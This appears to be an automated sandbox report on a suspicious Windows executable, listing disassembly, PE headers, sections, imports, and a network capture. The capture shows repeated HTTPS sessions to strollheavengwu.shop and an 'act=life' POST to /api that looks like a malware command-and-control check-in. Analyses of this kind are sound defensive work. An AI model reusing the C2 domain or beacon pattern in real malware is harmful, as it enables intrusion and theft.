cmp word ptr [eax+00400018h], cx
jne 00007F4599477ABFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F4599477AEBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F459947B384h
test eax, eax
jne 00007F4599477AEAh
push 0000001Ch
call 00007F4599477BC1h
pop ecx
call 00007F459947B0C0h
test eax, eax
jne 00007F4599477AEAh
push 00000010h
call 00007F4599477BB0h
pop ecx
call 00007F459947D5D7h
and dword ptr [ebp-04h], 00000000h
call 00007F459947CED3h
test eax, eax
jns 00007F4599477AEAh
push 0000001Bh
call 00007F4599477B96h
pop ecx
call dword ptr [004100D4h]
mov dword ptr [01A12CC8h], eax
call 00007F459947E7FCh
mov dword ptr [0044AC80h], eax
call 00007F459947E3F9h
test eax, eax
jns 00007F4599477AEAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x161ec	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1613000	0x15898	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x10200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x15750	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x10000	0x198	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xe853	0xea00	2f6d7763e7e8a069786126f4b44587de	False	0.6032151442307693	data	6.6820897019994785	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x10000	0x6b54	0x6c00	d3e88c58797bb52829bea0fa43a59d2b	False	0.3938802083333333	data	4.764016162972145	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x17000	0x15fbce0	0x33e00	3d026e9d98c89fed4f91e2375da2906e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x1613000	0x15898	0x15a00	890f771f9dd082c5ae23eeb15b9edbff	False	0.4096482117052023	data	5.1792638864470755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1613720	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.48507462686567165
RT_ICON	0x16145c8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.5992779783393501
RT_ICON	0x1614e70	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.646889400921659
RT_ICON	0x1615538	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.6473988439306358
RT_ICON	0x1615aa0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	Romanian	Romania	0.3896265560165975
RT_ICON	0x1618048	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	Romanian	Romania	0.5082082551594747
RT_ICON	0x16190f0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	Romanian	Romania	0.5819672131147541
RT_ICON	0x1619a78	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	Romanian	Romania	0.675531914893617
RT_ICON	0x1619f58	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.40671641791044777
RT_ICON	0x161ae00	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.4368231046931408
RT_ICON	0x161b6a8	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5374423963133641
RT_ICON	0x161bd70	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.41040462427745666
RT_ICON	0x161c2d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.45363070539419087
RT_ICON	0x161e880	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.47115384615384615
RT_ICON	0x161f928	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.4905737704918033
RT_ICON	0x16202b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5452127659574468
RT_ICON	0x1620790	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	Romanian	Romania	0.3288912579957356
RT_ICON	0x1621638	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	Romanian	Romania	0.46886281588447654
RT_ICON	0x1621ee0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	Romanian	Romania	0.4326036866359447
RT_ICON	0x16225a8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	Romanian	Romania	0.2658959537572254
RT_ICON	0x1622b10	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	Romanian	Romania	0.15280082987551868
RT_ICON	0x16250b8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	Romanian	Romania	0.2861163227016886
RT_ICON	0x1626160	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	Romanian	Romania	0.33237704918032784
RT_ICON	0x1626ae8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	Romanian	Romania	0.37056737588652483
RT_DIALOG	0x16271b8	0x52	data			0.8780487804878049
RT_STRING	0x1627210	0x432	data	Romanian	Romania	0.45251396648044695
RT_STRING	0x1627648	0x4d4	data	Romanian	Romania	0.44660194174757284
RT_STRING	0x1627b20	0x13a	data	Romanian	Romania	0.5286624203821656
RT_STRING	0x1627c60	0x30a	data	Romanian	Romania	0.47429305912596403
RT_STRING	0x1627f70	0x638	data	Romanian	Romania	0.43027638190954776
RT_STRING	0x16285a8	0x2ec	data	Romanian	Romania	0.47058823529411764
RT_GROUP_ICON	0x1619ee0	0x76	data	Romanian	Romania	0.6610169491525424
RT_GROUP_ICON	0x1620718	0x76	data	Romanian	Romania	0.6694915254237288
RT_GROUP_ICON	0x1626f50	0x76	data	Romanian	Romania	0.6694915254237288
RT_VERSION	0x1626fc8	0x1ec	data			0.5386178861788617

Imports

DLL	Import
KERNEL32.dll	LocalCompact, GetUserDefaultLCID, AddConsoleAliasW, CreateHardLinkA, GetTickCount, EnumTimeFormatsW, FindResourceExA, GetVolumeInformationA, WriteConsoleW, GetCompressedFileSizeA, GetTempPathW, SetThreadLocale, GetLastError, SetLastError, GetProcAddress, CreateTimerQueueTimer, CopyFileA, GetLocaleInfoA, SetFileAttributesA, LoadLibraryA, WriteConsoleA, InterlockedExchangeAdd, LocalAlloc, SetCalendarInfoW, GetExitCodeThread, RemoveDirectoryW, AddAtomA, GlobalFindAtomW, GetModuleFileNameA, GetOEMCP, GlobalUnWire, LoadLibraryExA, ReadConsoleInputW, GetWindowsDirectoryW, GetCurrentProcessId, AddConsoleAliasA, GetComputerNameA, FindFirstChangeNotificationW, SetStdHandle, GetSystemDefaultLangID, OutputDebugStringW, FlushFileBuffers, HeapFree, EncodePointer, DecodePointer, ExitProcess, GetModuleHandleExW, MultiByteToWideChar, WideCharToMultiByte, GetCommandLineA, RaiseException, RtlUnwind, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetCPInfo, GetCurrentThreadId, IsDebuggerPresent, GetProcessHeap, HeapSize, EnterCriticalSection, LeaveCriticalSection, ReadFile, GetConsoleMode, ReadConsoleW, GetStdHandle, GetFileType, DeleteCriticalSection, GetStartupInfoW, CloseHandle, UnhandledExceptionFilter, SetUnhandledExceptionFilter, InitializeCriticalSectionAndSpinCount, Sleep, GetCurrentProcess, TerminateProcess, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetModuleHandleW, WriteFile, GetModuleFileNameW, LoadLibraryExW, HeapAlloc, QueryPerformanceCounter, GetSystemTimeAsFileTime, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetStringTypeW, HeapReAlloc, SetFilePointerEx, LCMapStringW, GetConsoleCP, CreateFileW
GDI32.dll	GetCharacterPlacementW
ADVAPI32.dll	DeregisterEventSource
WINHTTP.dll	WinHttpConnect

Possible Origin

Language of compilation system	Country where language is spoken	Map
Romanian	Romania

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 10:46:57.765297890 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:57.765378952 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:57.765712976 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:57.769748926 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:57.769855022 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.005903006 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.006045103 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.010756016 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.010807991 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.011322021 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.060194016 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.078843117 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.078843117 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.079308033 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.570815086 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.571110964 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.571296930 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.584162951 CEST	49730	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.584223032 CEST	443	49730	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.701806068 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.701894045 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.701976061 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.714658022 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.714690924 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.938561916 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.938802958 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.972528934 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.972559929 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.973653078 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:58.979810953 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.979849100 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:58.980282068 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.485768080 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.485882998 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.485980988 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.485996008 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486063957 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486145973 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486162901 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486185074 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486251116 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486265898 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486366987 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486427069 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486439943 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486537933 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486598015 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486610889 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486690044 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486752033 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.486766100 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486917019 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.486982107 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.487699986 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.487730026 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.487754107 CEST	49731	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.487767935 CEST	443	49731	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.686296940 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.686321020 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.686413050 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.686825991 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.686832905 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.913007021 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.913085938 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.914841890 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.914845943 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.915880919 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.917395115 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.917552948 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.917591095 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:46:59.917674065 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:46:59.917681932 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.448019028 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.448311090 CEST	443	49732	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.448369026 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.448395967 CEST	49732	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.590272903 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.590377092 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.590481997 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.590874910 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.590900898 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.818396091 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.818500042 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.820065975 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.820089102 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.820523977 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:00.822009087 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.822128057 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:00.822206020 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.347004890 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.347289085 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.347373962 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.347455025 CEST	49733	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.347506046 CEST	443	49733	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.581135988 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.581176996 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.581305981 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.581733942 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.581744909 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.808657885 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.808731079 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.810297012 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.810306072 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.810797930 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.812228918 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.812364101 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.812402010 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:01.812479019 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:01.812488079 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.377453089 CEST	443	49734	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.377718925 CEST	49734	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.652024031 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.652122974 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.652240038 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.652625084 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.652664900 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.878257990 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.878520012 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.880433083 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.880460024 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.880976915 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:02.882550001 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.882680893 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:02.882739067 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.394783020 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.395122051 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.395241022 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.409638882 CEST	49735	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.409681082 CEST	443	49735	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.539652109 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.539742947 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.540039062 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.540502071 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.540580988 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.766402960 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.766544104 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.769629955 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.769680977 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.770199060 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:03.772219896 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.772299051 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:03.772429943 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:04.281485081 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:04.281799078 CEST	443	49736	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:04.281925917 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:04.281925917 CEST	49736	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:04.828780890 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:04.828840971 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:04.828938007 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:04.829268932 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:04.829283953 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.054821014 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.055054903 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.056816101 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.056824923 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.057311058 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.058527946 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.059653997 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.059703112 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.059839010 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.059880018 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.060003996 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060044050 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.060194969 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060220957 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.060381889 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060409069 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.060586929 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060616016 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.060625076 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060805082 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.060837030 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.108119965 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.108285904 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.108321905 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.108338118 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.156119108 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.156594992 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.156656027 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.156711102 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.200133085 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.200303078 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:05.244193077 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:05.374841928 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:06.740811110 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:06.741064072 CEST	443	49737	104.21.15.198	192.168.2.4
Apr 21, 2024 10:47:06.741210938 CEST	49737	443	192.168.2.4	104.21.15.198
Apr 21, 2024 10:47:06.741210938 CEST	49737	443	192.168.2.4	104.21.15.198

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 21, 2024 10:46:57.651890039 CEST	55307	53	192.168.2.4	1.1.1.1
Apr 21, 2024 10:46:57.758488894 CEST	53	55307	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 21, 2024 10:46:57.651890039 CEST	192.168.2.4	1.1.1.1	0x7383	Standard query (0)	strollheavengwu.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 21, 2024 10:46:57.758488894 CEST	1.1.1.1	192.168.2.4	0x7383	No error (0)	strollheavengwu.shop		104.21.15.198	A (IP address)	IN (0x0001)	false
Apr 21, 2024 10:46:57.758488894 CEST	1.1.1.1	192.168.2.4	0x7383	No error (0)	strollheavengwu.shop		172.67.163.209	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

strollheavengwu.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 08:46:58 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: strollheavengwu.shop
2024-04-21 08:46:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 08:46:58 UTC	814	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 08:46:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=du5frioceovgtkiirteq23t4h3; expires=Thu, 15-Aug-2024 02:33:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z22rHiBcwLHaTdQRcFVYPSX2ZBnDT0wzf%2FZjcYkk4QqRPODY25rW%2B%2F%2BtaDVcSqt9nx91QRFA7AwfWQZANhVEYVSszwYoyZUIX%2BXDy2LZvc7RXn1deab%2B80rzPCtQJUJe65DfbfIw7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877c1b4dbbf112ee-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 08:46:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 08:46:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.15.198	443	7516	C:\Users\user\Desktop\2FjvjcayaH.exe

Timestamp	Bytes transferred	Direction	Data
